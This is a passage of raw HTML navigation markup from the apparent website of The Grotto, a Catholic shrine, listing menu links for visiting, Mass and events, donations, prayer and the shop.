data-settings="{"submenu_icon":{"value":"<i aria-hidden=\"true\" class=\"\"><\/i>","library":""},"layout":"horizontal","toggle":"burger"}" data-widget_type="nav-menu.default"> 196 <nav aria-label="Menu" class="elementor-nav-menu--main elementor-nav-menu__container elementor-nav-menu--layout-horizontal e--pointer-underline e--animation-fade"> 197 <ul id="menu-1-4073e96" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-83"><a href="https://thegrotto.org/visit/" class="elementor-item">Visit</a> 198<ul class="sub-menu elementor-nav-menu--dropdown"> 199 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-94"><a href="https://thegrotto.org/visit/hours-admission/" class="elementor-sub-item">Hours & Admission</a></li> 200 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-320"><a href="https://thegrotto.org/visit/gardens/" class="elementor-sub-item">Gardens & Grounds</a></li> 201 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-226"><a href="https://thegrotto.org/visit/annual-garden-pass/" class="elementor-sub-item">
201Annual Garden Pass</a></li> 202 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1460"><a href="https://thegrotto.org/upper-gardens-temporary-closure/" class="elementor-sub-item">Upper Gardens Temporary Closure</a></li> 203 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-93"><a href="https://thegrotto.org/visit/directions/" class="elementor-sub-item">Directions</a></li> 204 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-92"><a href="https://thegrotto.org/visit/pilgrimages/" class="elementor-sub-item">Pilgrimages </a></li> 205 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-91"><a href="https://thegrotto.org/visit/field-trips/" class="elementor-sub-item">Field Trips</a></li> 206 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-90"><a href="https://thegrotto.org/visit/faq-garden-etiquette/" class="elementor-sub-item">FAQ & Garden Etiquette </a></li> 207</ul> 208</li> 209<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-82"><a href="https://thegrotto.org/mass-events/" class="elementor-item">Mass & Events</a> 210<ul class="sub-menu elementor-nav-menu--dropdown"> 211 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-103"><a href="https://thegrotto.org/mass-events/mass-schedule/" class="elementor-sub-item">Mass Schedule</a></li> 212 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-102"><a href="https://thegrotto.org/mass-events/event-calendar/" class="elementor-sub-item">Event Calendar</a></li> 213 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1694"><a href="https://thegrotto.org/eucharistic-miracles-exhibit/" class="elementor-sub-item">Eucharistic Miracles Exhibit</a></li> 214 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1700"><a href="https://thegrotto.org/mass-lunch-learn-2/" class="elementor-sub-item">Mass, Lunch & Learn</a></li> 215 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1649"><a href="https://thegrotto.org/gonzaga-concert-choir-at-the-grotto/" class="elementor-sub-item">Gonzaga Concert Choir at The Grotto</a></li> 216 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-138"><a href="https://thegrotto.org/about/employment-opportunities/" class="elementor-sub-item">Employment Opportunities</a></li> 217 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-105"><a href="https://thegrotto.org/mass-events/rosary/" class="elementor-sub-item">Rosary</a></li> 218 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://thegrotto.org/mass-events/confession/" class="elementor-sub-item">Confession</a></li> 219 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-108"><a href="https://thegrotto.org/mass-events/conference-center/" class="elementor-sub-item">Conference Center</a></li> 220 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-107"><a href="https://thegrotto.org/mass-events/weddings/" class="elementor-sub-item">Weddings</a></li> 221 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-81"><a href="https://thegrotto.org/christmas/" class="elementor-sub-item">Christmas</a> 222 <ul class="sub-menu elementor-nav-menu--dropdown"> 223 <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-110"><a href="/christmas" class="elementor-sub-item">Christmas Festival of Lights</a></li> 224 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-111"><a href="https://thegrotto.org/christmas/christmas-mass-schedule/" class="elementor-sub-item">Christmas Mass Schedule</a></li> 225 </ul> 226</li> 227</ul> 228</li> 229<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-80"><a href="https://thegrotto.org/support/" class="elementor-item">Support</a> 230<ul class="sub-menu elementor-nav-menu--dropdown"> 231 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-121"><a href="https://thegrotto.org/support/donate/" class="elementor-sub-item">Donate</a></li> 232 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-120"><a href="https://thegrotto.org/support/volunteer/" class="elementor-sub-item">Volunteer</a></li> 233 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-119"><a href="https://thegrotto.org/support/friends-of-the-grotto/" class="elementor-sub-item">Friends of the Grotto</a></li> 234 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-118"><a href="https://thegrotto.org/support/legacy-gifts/" class="elementor-sub-item">Legacy Gifts</a></li> 235</ul> 236</li> 237<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-79"><a href="https://thegrotto.org/pray/" class="elementor-item">Pray</a> 238<ul class="sub-menu elementor-nav-menu--dropdown"> 239 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-130"><a href="https://thegrotto.org/pray/daily-prayer/" class="elementor-sub-item">Daily Prayer</a></li> 240 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-129"><a href="https://thegrotto.org/pray/mass-intentions/" class="elementor-sub-item">Mass Intentions</a></li> 241 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-128"><a href="https://thegrotto.org/pray/st-peregrine-devotions/" class="elementor-sub-item">St. Peregrine Devotions </a></li> 242 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-789"><a href="https://thegrotto.org/a-guide-to-indulgences-for-the-st-peregrine-tercentenary/" class="elementor-sub-item">A Guide to Indulgences for the St. Peregrine Tercentenary</a></li> 243 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-127"><a href="https://thegrotto.org/pray/light-a-candle/" class="elementor-sub-item">Light a Candle</a></li> 244</ul> 245</li> 246<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-78"><a href="https://thegrotto.org/about/" class="elementor-item">About Us</a> 247<ul class="sub-menu elementor-nav-menu--dropdown"> 248 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-142"><a href="https://thegrotto.org/about/about-the-grotto/" class="elementor-sub-item">About The Grotto</a></li> 249 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-262"><a href="https://thegrotto.org/about/the-grotto-history/" class="elementor-sub-item">The Grottoâs History</a></li> 250 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-141"><a href="https://thegrotto.org/about/about-the-servites/" class="elementor-sub-item">About The Servites</a></li> 251 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-140"><a href="https://thegrotto.org/about/contact-us/" class="elementor-sub-item">Contact Us</a></li> 252 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-139"><a href="https://thegrotto.org/about/daily-e-news/" class="elementor-sub-item">Daily E-News</a></li> 253</ul> 254</li> 255<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-77"><a href="https://thegrotto.org/shop/" class="elementor-item">Shop</a></li> 256</ul> </nav> 257 <div class="elementor-menu-toggle" role="button" tabindex="0" aria-label="Menu Toggle" aria-expanded="false"> 258 <svg aria-hidden="true" role="presentation" class="elementor-menu-toggle__icon--open e-font-icon-svg e-eicon-menu-bar" viewBox="0 0 1000 1000" xmlns="http://www.w3.org/2000/svg"><path d="M104 333H896C929 333 958 304 958 271S929 208 896 208H104C71 208 42 237 42 271S71 333 104 333ZM104 583H896C929 583 958 554 958 521S929 458 896 458H104C71 458 42 487 42 521S71 583 104 583ZM104 833H896C929 833 958 804 958 771S929 708 896 708H104C71 708 42 737 42 771S71 833 104 833Z"></path></svg><svg aria-hidden="true" role="presentation" class="elementor-menu-toggle__icon--close e-font-icon-svg e-eicon-close" viewBox="0 0 1000 1000" xmlns="http://www.w3.org/2000/svg"><path d="M742 167L500 408 258 167C246 154 233 150 217 150 196 150 179 158 167 167 154 179 150 196 150 212 150 229 154 242 171 254L408 500 167 742C138 771 138 800 167 829 196 858 225 858 254 829L496 587 738 829C750 842 767 846 783 846 800 846 817 842 829 829 842 817 846 804 846 783 846 767 842 750 829 737L588 500 833 258C863 229 863 200 833 171 804 137 775 137 742 167Z"></path></svg> </div> 259 <nav class="elementor-nav-menu--dropdown elementor-nav-menu__container" aria-hidden="true"> 260 <ul id="menu-2-4073e96" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-83"><a href="https://thegrotto.org/visit/" class="elementor-item" tabindex="-1">Visit</a> 261<ul class="sub-menu elementor-nav-menu--dropdown"> 262 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-94"><a href="https://thegrotto.org/visit/hours-admission/" class="elementor-sub-item" tabindex="-1">Hours & Admission</a></li> 263 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-320"><a href="https://thegrotto.org/visit/gardens/" class="elementor-sub-item" tabindex="-1">Gardens & Grounds</a></li> 264 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-226"><a href="https://thegrotto.org/visit/annual-garden-pass/" class="elementor-sub-item" tabindex="-1">Annual Garden Pass</a></li> 265 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1460"><a href="https://thegrotto.org/upper-gardens-temporary-closure/" class="elementor-sub-item" tabindex="-1">Upper Gardens Temporary Closure</a></li> 266 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-93"><a href="https://thegrotto.org/visit/directions/" class="elementor-sub-item" tabindex="-1">Directions</a></li> 267 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-92"><a href="https://thegrotto.org/visit/pilgrimages/" class="elementor-sub-item" tabindex="-1">Pilgrimages </a></li> 268 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-91"><a href="https://thegrotto.org/visit/field-trips/" class="elementor-sub-item" tabindex="-1">Field Trips</a></li> 269 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-90"><a href="https://thegrotto.org/visit/faq-garden-etiquette/" class="elementor-sub-item" tabindex="-1">FAQ & Garden Etiquette </a></li> 270</ul> 271</li> 272<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-82"><a href="https://thegrotto.org/mass-events/" class="elementor-item" tabindex="-1">Mass & Events</a> 273<ul class="sub-menu elementor-nav-menu--dropdown"> 274 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-103"><a href="https://thegrotto.org/mass-events/mass-schedule/" class="elementor-sub-item" tabindex="-1">Mass Schedule</a></li> 275 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-102"><a href="https://thegrotto.org/mass-events/event-calendar/" class="elementor-sub-item" tabindex="-1">Event Calendar</a></li> 276 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1694"><a href="https://thegrotto.org/eucharistic-miracles-exhibit/" class="elementor-sub-item" tabindex="-1">Eucharistic Miracles Exhibit</a></li> 277 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1700"><a href="https://thegrotto.org/mass-lunch-learn-2/" class="elementor-sub-item" tabindex="-1">Mass, Lunch & Learn</a></li> 278 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1649"><a href="https://thegrotto.org/gonzaga-concert-choir-at-the-grotto/" class="elementor-sub-item" tabindex="-1">Gonzaga Concert Choir at The Grotto</a></li> 279 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-138"><a href="https://thegrotto.org/about/employment-opportunities/" class="elementor-sub-item" tabindex="-1">Employment Opportunities</a></li> 280 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-105"><a href="https://thegrotto.org/mass-events/rosary/" class="elementor-sub-item" tabindex="-1">Rosary</a></li> 281 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://thegrotto.org/mass-events/confession/" class="elementor-sub-item" tabindex="-1">Confession</a></li> 282 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-108"><a href="https://thegrotto.org/mass-events/conference-center/" class="elementor-sub-item" tabindex="-1">Conference Center</a></li> 283 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-107"><a href="https://thegrotto.org/mass-events/weddings/" class="elementor-sub-item" tabindex="-1">Weddings</a></li> 284 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-81"><a href="https://thegrotto.org/christmas/" class="elementor-sub-item" tabindex="-1">Christmas</a> 285 <ul class="sub-menu elementor-nav-menu--dropdown"> 286 <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-110"><a href="/christmas" class="elementor-sub-item" tabindex="-1">Christmas Festival of Lights</a></li> 287 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-111"><a href="https://thegrotto.org/christmas/christmas-mass-schedule/" class="elementor-sub-item" tabindex="-1">Christmas Mass Schedule</a></li> 288 </ul> 289</li> 290</ul> 291</li> 292<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-80"><a href="https://thegrotto.org/support/" class="elementor-item" tabindex="-1">Support</a> 293<ul class="sub-menu elementor-nav-menu--dropdown"> 294 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-121"><a href="https://thegrotto.org/support/donate/" class="elementor-sub-item" tabindex="-1">Donate</a></li> 295 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-120"><a href="https://thegrotto.org/support/volunteer/" class="elementor-sub-item" tabindex="-1">Volunteer</a></li> 296 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-119"><a href="https://thegrotto.org/support/friends-of-the-grotto/" class="elementor-sub-item" tabindex="-1">Friends of the Grotto</a></li> 297 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-118"><a href="https://thegrotto.org/support/legacy-gifts/" class="elementor-sub-item" tabindex="-1">Legacy Gifts</a></li> 298</ul> 299</li> 300<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-79"><a href="https://thegrotto.org/pray/" class="elementor-item" tabindex="-1">Pray</a> 301<ul class="sub-menu elementor-nav-menu--dropdown"> 302 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-130"><a href="https://thegrotto.org/pray/daily-prayer/" class="elementor-sub-item" tabindex="-1">Daily Prayer</a></li> 303 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-129"><a href="https://thegrotto.org/pray/mass-intentions/" class="elementor-sub-item" tabindex="-1">Mass Intentions</a></li> 304 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-128"><a href="https://thegrotto.org/pray/st-peregrine-devotions/" class="elementor-sub-item" tabindex="-1">St. Peregrine Devotions </a></li> 305 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-789"><a href="https://thegrotto.org/a-guide-to-indulgences-for-the-st-peregrine-tercentenary/" class="elementor-sub-item" tabindex="-1">A Guide to Indulgences for the St. Peregrine Tercentenary</a></li> 306 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-127"><a href="https://thegrotto.org/pray/light-a-candle/" class="elementor-sub-item" tabindex="-1">Light a Candle</a></li> 307</ul> 308</li> 309<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-78"><a href="https:/
309/thegrotto.org/about/" class="elementor-item" tabindex="-1">About Us</a> 310<ul class="sub-menu elementor-nav-menu--dropdown"> 311 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-142"><a href="https://thegrotto.org/about/about-the-grotto/" class="elementor-sub-item" tabindex="-1">About The Grotto</a></li> 312 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-262"><a href="https://thegrotto.org/about/the-grotto-history/" class="elementor-sub-item" tabindex="-1">The Grottoâs History</a></li> 313 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-141"><a href="https://thegrotto.org/about/about-the-servites/" class="elementor-sub-item" tabindex="-1">About The Servites</a></li> 314 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-140"><a href="https://thegrotto.org/about/contact-us/" class="elementor-sub-item" tabindex="-1">Contact Us</a></li> 315 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-139"><a href="https://thegrotto.org/about/daily-e-news/" class="elementor-sub-item" tabindex="-1">Daily E-News</a></li> 316</ul> 317</li> 318<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-77"><a href="https://thegrotto.org/shop/" class="elementor-item" tabindex="-1">Shop</a></li> 319</ul> </nav> 320 </div> 321 </div> 322 </div> 323 </div> 324 <div class="elementor-element elementor-element-884a98e elementor-hidden-desktop elementor-hidden-tablet e-con-full e-flex e-con e-parent" data-id="884a98e" data-element_type="container" data-e-type="container"> 325 <div class="elementor-element elementor-element-7bb8798 e-con-full e-flex e-con e-child" data-id="7bb8798" data-element_type="container" data-e-type="container"> 326 <div class="elementor-element elementor-element-dba6dc7 elementor-widget-mobile__width-initial elementor-widget elementor-widget-theme-site-logo elementor-widget-image" data-id="dba6dc7" data-element_type="widget" data-e-type="widget" data-widget_type="theme-site-logo.default"> 327 <a href="https://thegrotto.org"> 328 <img fetchpriority="high" width="2560" height="415" src="https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png" class="attachment-full size-full wp-image-399" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png 2560w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-300x49.png 300w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-1024x166.png 1024w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-768x125.png 768w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-1536x249.png 1536w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-2048x332.png 2048w" sizes="(max-width: 2560px) 100v
328w, 2560px" /> </a> 329 </div> 330 </div> 331 <div class="elementor-element elementor-element-b290988 e-con-full e-flex e-con e-child" data-id="b290988" data-element_type="container" data-e-type="container"> 332 <div class="elementor-element elementor-element-c926c98 elementor-nav-menu__align-end elementor-nav-menu--dropdown-mobile elementor-nav-menu--stretch elementor-nav-menu__text-align-aside elementor-nav-menu--toggle elementor-nav-menu--burger elementor-widget elementor-widget-nav-menu" data-id="c926c98" data-element_type="widget" data-e-type="widget" data-settings="{"submenu_icon":{"value":"<svg aria-hidden=\"true\" class=\"e-font-icon-svg e-fas-angle-down\" viewBox=\"0 0 320 512\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"><path d=\"M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z\"><\/path><\/svg>","library":"fa-solid"},"full_width":"stretch","layout":"horizontal","toggle":"burger"}" data-widget_type="nav-menu.default"> 333 <nav aria-label="Menu" class="elementor-nav-menu--main elementor-nav-menu__container elementor-nav-menu--layout-horizontal e--pointer-underline e--animation-fade"> 334 <ul id="menu-1-c926c98" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-83"><a href="https://thegrotto.org/visit/" class="elementor-item">Visit</a> 335<ul class="sub-menu elementor-nav-menu--dropdown"> 336 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-94"><a href="https://thegrotto.org/visit/hours-admission/" class="elementor-sub-item">Hours & Admission</a></li> 337 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-320"><a href="https://thegrotto.org/visit/gardens/" class="elementor-sub-item">Gardens & Grounds</a></li> 338 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-226"><a href="https://thegrotto.org/visit/annual-garden-pass/" class="elementor-sub-item">Annual Garden Pass</a></li> 339 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1460"><a href="https://thegrotto.org/upper-gardens-temporary-closure/" class="elementor-sub-item">Upper Gardens Temporary Closure</a></li> 340 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-93"><a href="https://thegrotto.org/visit/directions/" class="elementor-sub-item">Directions</a></li> 341 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-92"><a href="https://thegrotto.org/visit/pilgrimages/" class="elementor-sub-item">Pilgrimages </a></li> 342 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-91"><a href="https://thegrotto.org/visit/field-trips/" class="elementor-sub-item">Field Trips</a></li> 343 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-90"><a href="https://thegrotto.org/visit/faq-garden-etiquette/" class="elementor-sub-item">FAQ & Garden Etiquette </a></li> 344</ul> 345</li> 346<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-82"><a href="https://thegrotto.org/mass-events/" class="elementor-item">Mass & Events</a> 347<ul class="sub-menu elementor-nav-menu--dropdown"> 348 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-103"><a href="https://thegrotto.org/mass-events/mass-schedule/" class="elementor-sub-item">Mass Schedule</a></li> 349 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-102"><a href="https://thegrotto.org/mass-events/event-calendar/" class="elementor-sub-item">Event Calendar</a></li> 350 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1694"><a href="https://thegrotto.org/eucharistic-miracles-exhibit/" class="elementor-sub-item">Eucharistic Miracles Exhibit</a></li> 351 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1700"><a href="https://thegrotto.org/mass-lunch-learn-2/" class="elementor-sub-item">Mass, Lunch & Learn</a></li> 352 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1649"><a href="https://thegrotto.org/gonzaga-concert-choir-at-the-grotto/" class="elementor-sub-item">Gonzaga Concert Choir at The Grotto</a></li> 353 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-138"><a href="https://thegrotto.org/about/employment-opportunities/" class="elementor-sub-item">Employment Opportunities</a></li> 354 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-105"><a href="https://thegrotto.org/mass-events/rosary/" class="elementor-sub-item">Rosary</a></li> 355 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://thegrotto.org/mass-events/confession/" class="elementor-sub-item">Confession</a></li> 356 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-108"><a href="https://thegrotto.org/mass-events/conference-center/" class="elementor-sub-item">Conference Center</a></li> 357 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-107"><a href="https://thegrotto.org/mass-events/weddings/" class="elementor-sub-item">Weddings</a></li> 358 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-81"><a href="https://thegrotto.org/christmas/" class="elementor-sub-item">Christmas</a> 359 <ul class="sub-menu elementor-nav-menu--dropdown"> 360 <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-110"><a href="/christmas" class="elementor-sub-item">Christmas Festival of Lights</a></li> 361 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-111"><a href="https://thegrotto.org/christmas/christmas-mass-schedule/" class="elementor-sub-item">Christmas Mass Schedule</a></li> 362 </ul> 363</li> 364</ul> 365</li> 366<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-80"><a href="https://thegrotto.org/support/" class="elementor-item">Support</a> 367<ul class="sub-menu elementor-nav-menu--dropdown"> 368 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-121"><a href="https://thegrotto.org/support/donate/" class="elementor-sub-item">Donate</a></li> 369 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-120"><a href="https://thegrotto.org/support/volunteer/" class="elementor-sub-item">Volunteer</a></li> 370 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-119"><a href="https://thegrotto.org/support/friends-of-the-grotto/" class="elementor-sub-item">Friends of the Grotto</a></li> 371 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-118"><a href="https://thegrotto.org/support/legacy-gifts/" class="elementor-sub-item">Legacy Gifts</a></li> 372</ul> 373</li> 374<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-79"><a href="https://thegrotto.org/pray/" class="elementor-item">Pray</a> 375<ul class="sub-menu elementor-nav-menu--dropdown"> 376 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-130"><a href="https://thegrotto.org/pray/daily-prayer/" class="elementor-sub-item">Daily Prayer</a></li> 377 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-129"><a href="https://thegrotto.org/pray/mass-intentions/" class="elementor-sub-item">Mass Intentions</a></li> 378 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-128"><a href="https://thegrotto.org/pray/st-peregrine-devotions/" class="elementor-sub-item">St. Peregrine Devotions </a></li> 379 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-789"><a href="https://thegrotto.org/a-guide-to-indulgences-for-the-st-peregrine-tercentenary/" class="elementor-sub-item">A Guide to Indulgences for the St. Peregrine Tercentenary</a></li> 380 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-127"><a href="https://thegrotto.org/pray/light-a-candle/" class="elementor-sub-item">Light a Candle</a></li> 381</ul> 382</li> 383<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-78"><a href="https://thegrotto.org/about/" class="elementor-item">About Us</a> 384<ul class="sub-menu elementor-nav-menu--dropdown"> 385 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-142"><a href="https://thegrotto.org/about/about-the-grotto/" class="elementor-sub-item">About The Grotto</a></li> 386 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-262"><a href="https://thegrotto.org/about/the-grotto-history/" class="elementor-sub-item">The Grottoâs History</a></li> 387 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-141"><a href="https://thegrotto.org/about/about-the-servites/" class="elementor-sub-item">About The Servites</a></li> 388 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-140"><a href="https://thegrotto.org/about/contact-us/" class="elementor-sub-item">Contact Us</a></li> 389 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-139"><a href="https://thegrotto.org/about/daily-e-news/" class="elementor-sub-item">Daily E-News</a></li> 390</ul> 391</li> 392<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-77"><a href="https://thegrotto.org/shop/" class="elementor-item">Shop</a></li> 393</ul> </nav> 394 <div class="elementor-menu-toggle" role="button" tabindex="0" aria-label="Menu Toggle" aria-expanded="false"> 395 <svg aria-hidden="true" role="presentation" class="elementor-menu-toggle__icon--open e-font-icon-svg e-eicon-menu-bar" viewBox="0 0 1000 1000" xmlns="http://www.w3.org/2000/svg"><path d="M104 333H896C929 333 958 304 958 271S929 208 896 208H104C71 208 42 237 42 271S71 333 104 333ZM104 583H896C929 583 958 554 958 521S929 458 896 458H104C71 458 42 487 42 521S71 583 104 583ZM104 833H896C929 833 958 804 958 771S929 708 896 708H104C71 708 42 737 42 771S71 833 104 833Z"></path></svg><svg aria-hidden="true" role="presentation" class="elementor-menu-toggle__icon--close e-font-icon-svg e-eicon-close" viewBox="0 0 1000 1000" xmlns="http://www.w3.org/2000/svg"><path d="M742 167L500 408 258 167C246 154 233 150 217 150 196 150 179 158 167 167 154 179 150 196 150 212 150 229 154 242 171 254L408 500 167 742C138 771 138 800 167 829 196 858 225 858 254 829L496 587 738 829C750 842 767 846 783 846 800 846 817 842 829 829 842 817 846 804 846 783 846 767 842 750 829 737L588 500 833 258C863 229 863 200 833 171 804 137 775 137 742 167Z"></path></svg> </div> 396 <nav class="elementor-nav-menu--dropdown elementor-nav-menu__container" aria-hidden="true"> 397 <ul id="menu-2-c926c98" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-83"><a href="https://thegrotto.org/visit/" class="elementor-item" tabindex="-1">Visit</a> 398<ul class="sub-menu elementor-nav-menu--dropdown"> 399 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-94"><a href="https://thegrotto.org/visit/hours-admission/" class="elementor-sub-item" tabindex="-1">Hours & Admission</a></li> 400 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-320"><a href="https://thegrotto.org/visit/gardens/" class="elementor-sub-item" tabindex="-1">Gardens & Grounds</a></li> 401 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-226"><a href="https://thegrotto.org/visit/annual-garden-pass/" class="elementor-sub-item" tabindex="-1">Annual Garden Pass</a></li> 402 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1460"><a href="https://thegrotto.org/upper-gardens-temporary-closure/" class="elementor-sub-item" tabindex="-1">Upper Gardens Temporary Closure</a></li> 403 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-93"><a href="https://thegrotto.org/visit/directions/" class="elementor-sub-item" tabindex="-1">Directions</a></li> 404 <li class="menu-item 